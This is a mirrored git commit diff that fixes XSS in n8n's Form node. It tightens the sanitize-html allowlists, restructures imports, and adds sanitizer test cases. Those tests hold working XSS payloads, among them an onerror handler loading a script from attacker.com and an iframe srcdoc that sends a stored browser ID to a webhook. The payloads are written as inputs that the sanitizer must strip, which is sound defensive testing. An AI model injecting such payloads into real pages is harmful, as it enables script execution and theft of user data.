mirror of
https://github.com/Abdulazizzn/n8n-enterprise-unlocked.git
synced 2025-12-18 02:21:13 +00:00
fix(n8n Form Node): Prevent XSS with video and source tags (#16329)
This commit is contained in:
@@ -19,12 +19,12 @@ import {
|
|||||||
} from 'n8n-workflow';
|
} from 'n8n-workflow';
|
||||||
|
|
||||||
import { cssVariables } from './cssVariables';
|
import { cssVariables } from './cssVariables';
|
||||||
import { renderFormCompletion } from './formCompletionUtils';
|
import { renderFormCompletion } from './utils/formCompletionUtils';
|
||||||
import { renderFormNode } from './formNodeUtils';
|
import { renderFormNode } from './utils/formNodeUtils';
|
||||||
|
import { prepareFormReturnItem, resolveRawData } from './utils/utils';
|
||||||
import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util';
|
import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util';
|
||||||
import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions';
|
import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions';
|
||||||
import { formDescription, formFields, formTitle } from '../Form/common.descriptions';
|
import { formDescription, formFields, formTitle } from '../Form/common.descriptions';
|
||||||
import { prepareFormReturnItem, resolveRawData } from '../Form/utils';
|
|
||||||
|
|
||||||
const waitTimeProperties: INodeProperties[] = [
|
const waitTimeProperties: INodeProperties[] = [
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ import { type Response } from 'express';
|
|||||||
import { type MockProxy, mock } from 'jest-mock-extended';
|
import { type MockProxy, mock } from 'jest-mock-extended';
|
||||||
import { type INode, type IWebhookFunctions } from 'n8n-workflow';
|
import { type INode, type IWebhookFunctions } from 'n8n-workflow';
|
||||||
|
|
||||||
import { binaryResponse, renderFormCompletion } from '../formCompletionUtils';
|
import { binaryResponse, renderFormCompletion } from '../utils/formCompletionUtils';
|
||||||
|
|
||||||
describe('formCompletionUtils', () => {
|
describe('formCompletionUtils', () => {
|
||||||
let mockWebhookFunctions: MockProxy<IWebhookFunctions>;
|
let mockWebhookFunctions: MockProxy<IWebhookFunctions>;
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import {
|
|||||||
type NodeTypeAndVersion,
|
type NodeTypeAndVersion,
|
||||||
} from 'n8n-workflow';
|
} from 'n8n-workflow';
|
||||||
|
|
||||||
import { renderFormNode } from '../formNodeUtils';
|
import { renderFormNode } from '../utils/formNodeUtils';
|
||||||
|
|
||||||
describe('formNodeUtils', () => {
|
describe('formNodeUtils', () => {
|
||||||
let webhookFunctions: MockProxy<IWebhookFunctions>;
|
let webhookFunctions: MockProxy<IWebhookFunctions>;
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ import {
|
|||||||
validateResponseModeConfiguration,
|
validateResponseModeConfiguration,
|
||||||
prepareFormFields,
|
prepareFormFields,
|
||||||
addFormResponseDataToReturnItem,
|
addFormResponseDataToReturnItem,
|
||||||
} from '../utils';
|
} from '../utils/utils';
|
||||||
|
|
||||||
describe('FormTrigger, parseFormDescription', () => {
|
describe('FormTrigger, parseFormDescription', () => {
|
||||||
it('should remove HTML tags and truncate to 150 characters', () => {
|
it('should remove HTML tags and truncate to 150 characters', () => {
|
||||||
@@ -64,6 +64,25 @@ describe('FormTrigger, sanitizeHtml', () => {
|
|||||||
html: '<input type="text" value="test">',
|
html: '<input type="text" value="test">',
|
||||||
expected: '',
|
expected: '',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
html: '<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4">Your browser does not support the video tag.</video>',
|
||||||
|
expected:
|
||||||
|
'<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4"></source>Your browser does not support the video tag.</video>',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
html: '<video controls width="640" height="360" onclick="alert(\'XSS\')" style="border:10px solid red;"><source src="javascript:alert(\'XSS\')" type="video/mp4">Fallback text</video>',
|
||||||
|
expected:
|
||||||
|
'<video controls width="640" height="360"><source type="video/mp4"></source>Fallback text</video>',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
html: "<video><source onerror=\"s=document.createElement('script');s.src='http://attacker.com/evil.js';document.body.appendChild(s);\">",
|
||||||
|
expected: '<video><source></source></video>',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
html: "<iframe srcdoc=\"<script>fetch('https://YOURDOMAIN.app.n8n.cloud/webhook/pepe?id='+localStorage.getItem('n8n-browserId'))</script>\"></iframe>",
|
||||||
|
expected:
|
||||||
|
'<iframe referrerpolicy="strict-origin-when-cross-origin" allow="fullscreen; autoplay; encrypted-media"></iframe>',
|
||||||
|
},
|
||||||
];
|
];
|
||||||
|
|
||||||
givenHtml.forEach(({ html, expected }) => {
|
givenHtml.forEach(({ html, expected }) => {
|
||||||
|
|||||||
@@ -18,11 +18,11 @@ import {
|
|||||||
} from 'n8n-workflow';
|
} from 'n8n-workflow';
|
||||||
import sanitize from 'sanitize-html';
|
import sanitize from 'sanitize-html';
|
||||||
|
|
||||||
import type { FormTriggerData, FormTriggerInput } from './interfaces';
|
import { getResolvables } from '../../../utils/utilities';
|
||||||
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from './interfaces';
|
import { WebhookAuthorizationError } from '../../Webhook/error';
|
||||||
import { getResolvables } from '../../utils/utilities';
|
import { validateWebhookAuthentication } from '../../Webhook/utils';
|
||||||
import { WebhookAuthorizationError } from '../Webhook/error';
|
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
|
||||||
import { validateWebhookAuthentication } from '../Webhook/utils';
|
import type { FormTriggerData, FormTriggerInput } from '../interfaces';
|
||||||
|
|
||||||
export function sanitizeHtml(text: string) {
|
export function sanitizeHtml(text: string) {
|
||||||
return sanitize(text, {
|
return sanitize(text, {
|
||||||
@@ -58,10 +58,24 @@ export function sanitizeHtml(text: string) {
|
|||||||
allowedAttributes: {
|
allowedAttributes: {
|
||||||
a: ['href', 'target', 'rel'],
|
a: ['href', 'target', 'rel'],
|
||||||
img: ['src', 'alt', 'width', 'height'],
|
img: ['src', 'alt', 'width', 'height'],
|
||||||
video: ['*'],
|
video: ['controls', 'autoplay', 'loop', 'muted', 'poster', 'width', 'height'],
|
||||||
iframe: ['*'],
|
iframe: [
|
||||||
source: ['*'],
|
'src',
|
||||||
|
'width',
|
||||||
|
'height',
|
||||||
|
'frameborder',
|
||||||
|
'allow',
|
||||||
|
'allowfullscreen',
|
||||||
|
'referrerpolicy',
|
||||||
|
],
|
||||||
|
source: ['src', 'type'],
|
||||||
},
|
},
|
||||||
|
allowedSchemes: ['https', 'http'],
|
||||||
|
allowedSchemesByTag: {
|
||||||
|
source: ['https', 'http'],
|
||||||
|
iframe: ['https', 'http'],
|
||||||
|
},
|
||||||
|
allowProtocolRelative: false,
|
||||||
transformTags: {
|
transformTags: {
|
||||||
iframe: sanitize.simpleTransform('iframe', {
|
iframe: sanitize.simpleTransform('iframe', {
|
||||||
sandbox: '',
|
sandbox: '',
|
||||||
@@ -15,7 +15,7 @@ import {
|
|||||||
formTriggerPanel,
|
formTriggerPanel,
|
||||||
webhookPath,
|
webhookPath,
|
||||||
} from '../common.descriptions';
|
} from '../common.descriptions';
|
||||||
import { formWebhook } from '../utils';
|
import { formWebhook } from '../utils/utils';
|
||||||
|
|
||||||
const descriptionV1: INodeTypeDescription = {
|
const descriptionV1: INodeTypeDescription = {
|
||||||
displayName: 'n8n Form Trigger',
|
displayName: 'n8n Form Trigger',
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ import {
|
|||||||
} from '../common.descriptions';
|
} from '../common.descriptions';
|
||||||
import { cssVariables } from '../cssVariables';
|
import { cssVariables } from '../cssVariables';
|
||||||
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
|
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
|
||||||
import { formWebhook } from '../utils';
|
import { formWebhook } from '../utils/utils';
|
||||||
|
|
||||||
const useWorkflowTimezone: INodeProperties = {
|
const useWorkflowTimezone: INodeProperties = {
|
||||||
displayName: 'Use Workflow Timezone',
|
displayName: 'Use Workflow Timezone',
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ import {
|
|||||||
formTitle,
|
formTitle,
|
||||||
appendAttributionToForm,
|
appendAttributionToForm,
|
||||||
} from '../Form/common.descriptions';
|
} from '../Form/common.descriptions';
|
||||||
import { formWebhook } from '../Form/utils';
|
import { formWebhook } from '../Form/utils/utils';
|
||||||
import {
|
import {
|
||||||
authenticationProperty,
|
authenticationProperty,
|
||||||
credentialsProperty,
|
credentialsProperty,
|
||||||
|
|||||||
@@ -24,7 +24,11 @@ import {
|
|||||||
import type { IEmail } from './interfaces';
|
import type { IEmail } from './interfaces';
|
||||||
import { cssVariables } from '../../nodes/Form/cssVariables';
|
import { cssVariables } from '../../nodes/Form/cssVariables';
|
||||||
import { formFieldsProperties } from '../../nodes/Form/Form.node';
|
import { formFieldsProperties } from '../../nodes/Form/Form.node';
|
||||||
import { prepareFormData, prepareFormReturnItem, resolveRawData } from '../../nodes/Form/utils';
|
import {
|
||||||
|
prepareFormData,
|
||||||
|
prepareFormReturnItem,
|
||||||
|
resolveRawData,
|
||||||
|
} from '../../nodes/Form/utils/utils';
|
||||||
import { escapeHtml } from '../utilities';
|
import { escapeHtml } from '../utilities';
|
||||||
|
|
||||||
export type SendAndWaitConfig = {
|
export type SendAndWaitConfig = {
|
||||||
|
|||||||
Reference in New Issue
Block a user